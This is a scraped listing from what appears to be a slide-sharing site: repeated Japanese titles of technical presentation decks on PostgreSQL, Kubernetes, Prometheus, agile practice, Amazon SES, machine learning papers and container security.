最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)
最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)
 
PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...
PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...
PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...
 
骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)
骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)
骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)
 
機械学習モデルを REST API としてサービングするシステム開発における上流プロセスの絞り込みと効果検証(PM学会2023年度秋季研究発表大会 発表資料)
機械学習モデルを REST API としてサービングするシステム開発における上流プロセスの絞り込みと効果検証(PM学会2023年度秋季研究発表大会 発表資料)機械学習モデルを REST API としてサービングするシステム開発における上流プロセスの絞り込みと効果検証(PM学会2023年度秋季研究発表大会 発表資料)
機械学習モデルを REST API としてサービングするシステム開発における上流プロセスの絞り込みと効果検証(PM学会2023年度秋季研究発表大会 発表資料)
 
ChatGPTのデータソースにPostgreSQLを使う[詳細版](オープンデベロッパーズカンファレンス2023 発表資料)
ChatGPTのデータソースにPostgreSQLを使う[詳細版](オープンデベロッパーズカンファレンス2023 発表資料)ChatGPTのデータソースにPostgreSQLを使う[詳細版](オープンデベロッパーズカンファレンス2023 発表資料)
ChatGPTのデータソースにPostgreSQLを使う[詳細版](オープンデベロッパーズカンファレンス2023 発表資料)
 
PostgreSQL on Kubernetes: Realizing High Availability with PGO (Postgres Ibiz...
PostgreSQL on Kubernetes: Realizing High Availability with PGO (Postgres Ibiz...PostgreSQL on Kubernetes: Realizing High Availability with PGO (Postgres Ibiz...
PostgreSQL on Kubernetes: Realizing High Availability with PGO (Postgres Ibiz...
 
オンプレミス回帰の動きに備えよ ~クラウドの手法をオンプレミスでも実現するには~(CloudNative Days Fukuoka 2023 発表資料)
オンプレミス回帰の動きに備えよ ~クラウドの手法をオンプレミスでも実現するには~(CloudNative Days Fukuoka 2023 発表資料)オンプレミス回帰の動きに備えよ ~クラウドの手法をオンプレミスでも実現するには~(CloudNative Days Fukuoka 2023 発表資料)
オンプレミス回帰の動きに備えよ ~クラウドの手法をオンプレミスでも実現するには~(CloudNative Days Fukuoka 2023 発表資料)
 
Prometheus Operator 入門(Kubernetes Novice Tokyo #26 発表資料)
Prometheus Operator 入門(Kubernetes Novice Tokyo #26 発表資料)Prometheus Operator 入門(Kubernetes Novice Tokyo #26 発表資料)
Prometheus Operator 入門(Kubernetes Novice Tokyo #26 発表資料)
 
ChatGPTのデータソースにPostgreSQLを使う(第42回PostgreSQLアンカンファレンス@オンライン 発表資料)
ChatGPTのデータソースにPostgreSQLを使う(第42回PostgreSQLアンカンファレンス@オンライン 発表資料)ChatGPTのデータソースにPostgreSQLを使う(第42回PostgreSQLアンカンファレンス@オンライン 発表資料)
ChatGPTのデータソースにPostgreSQLを使う(第42回PostgreSQLアンカンファレンス@オンライン 発表資料)
 

Último

Último (10)

LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイスLoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
 
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
 
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
 
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
 
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半        2024/04/26の勉強会で発表されたものです。新人研修 後半        2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
 
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
 
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアルLoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
 
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
 
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
 
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
 

コンテナとimmutableとわたし。あとセキュリティ。(Kubernetes Novice Tokyo #15 発表資料)